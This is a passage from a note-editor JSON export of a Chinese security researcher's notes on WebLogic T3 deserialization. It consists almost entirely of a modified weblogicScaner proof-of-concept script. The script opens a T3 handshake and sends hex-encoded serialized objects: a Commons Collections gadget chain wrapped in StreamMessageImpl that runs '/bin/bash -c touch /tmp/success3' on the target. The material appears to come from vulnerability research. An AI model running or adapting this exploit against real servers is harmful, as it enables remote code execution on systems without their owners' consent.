var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BmOH-1673853200640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f9EL-1673853200639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.writeByte(1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KUYr-1673853200642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PLat-1673853200641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.writeInt(var5.length);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X6i0-1673853200644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cWTi-1673853200643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.write(var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cBwA-1673853206095&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8yTQ-1673853206094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TPXU-1673857206454&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5128/WEBRESOURCE9a155c70e68681db13913fdda5f25fa0&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZSSX-1673857211444&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5129/WEBRESOURCE54e0206892d95c807ed25d22df1d5a82&#34;,&#34;width&#34;:2316,&#34;height&#34;:1498},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JwxJ-1673853898579&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vOa0-1673853898580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;为方便调试稍微改了一下weblogicScaner的poc&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jD5c-1673853898578&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;stxt-1673853898577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0Y3W-1673853811210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iBfb-1673857235108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KNP5-1673857235107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;up2D-1673857235110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2dOf-1673857235109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2MYW-1673857235112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sJvZ-1673857235111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I7jU-1673857235114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EQxc-1673857235113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import time&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9TUz-1673857235116&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HCaQ-1673857235115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from multiprocessing.managers import SyncManager&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h9Nt-1673857235118&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CJnK-1673857235117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from typing import Any, Dict, List, Mapping, Tuple, Union&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uz8w-1673857235120&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j2LK-1673857235119&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kRWo-1673857235122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AL36-1673857235121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from stars import target_type, Star&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Dkh-1673857235124&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2X3i-1673857235123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GLMX-1673857235138&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kS9G-1673857235137&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -&gt; (bool, dict):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qx1o-1673857235140&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yhZ0-1673857235139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # T3协议握手&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1rRN-1673857235144&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I18i-1673857235143&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        dport = int(dport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r4Q7-1673857235146&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7H49-1673857235145&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nvwm-1673857235148&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q0Pi-1673857235147&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.settimeout(timeout)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j5rx-1673857235151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gfin-1673857235150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LR6M-1673857235153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YPsb-1673857235152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.connect((dip, dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;va15-1673857235155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EIyC-1673857235154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UvrC-1673857235157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tx1d-1673857235156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FwUl-1673857235159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9g6i-1673857235158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except ConnectionRefusedError:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Amd-1673857235161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jjGd-1673857235160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection refuse.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nG7x-1673857235163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oTq1-1673857235162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sNRl-1673857235165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b98G-1673857235164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a&#39;))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qzuv-1673857235167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GKaE-1673857235166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kAYk-1673857235169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iWi4-1673857235168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QP8Z-1673857235171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Zyh-1673857235170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vMQb-1673857235173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2dmY-1673857235172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # 构造T3协议头&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9t5o-1673857235175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1KG3-1673857235174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data1 = &#39;000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vnyA-1673857235177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dv3W-1673857235176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data2 = &#39;007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07&#39;.format(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tbYv-1673857235179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9wqC-1673857235178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;{:04x}&#39;.format(dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfLR-1673857235181&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;icRo-1673857235180&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data3 = &#39;1a7727000d3234322e323134&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jlw6-1673857235183&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5s5B-1673857235182&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data4 = &#39;2e312e32353461863d1d0000000078&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bMHw-1673857235185&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QzcO-1673857235184&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for d in [data1, data2, data3, data4]:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dQih-1673857235187&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GXnZ-1673857235186&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.send(bytes.fromhex(d))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w8yK-1673857235189&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RrfD-1673857235188&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DUU1-1673857235191&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nniU-1673857235190&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;04UU-1673857512271&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yxNQ-1673857512269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # -------- 经StreamMessageImpl封装的反序列化利用链payload --------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BDax-1673857397817&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZgQK-1673857397816&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nn0a-1673857235199&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kKku-1673857235198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yUpm-1673857514790&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AyuY-1673857514788&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # ------------------------------------------------------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gtsb-1673857460936&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qET4-1673857460934&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K77i-1673857235201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JwTs-1673857235200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;%s%s&#39; % (&#39;{:08x}&#39;.format(len(payload) // 2 + 4), payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wij5-1673857235203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bLQx-1673857235202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(payload))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EsgX-1673857235205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aDOx-1673857235204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kjsw-1673857235207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wkpC-1673857235206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        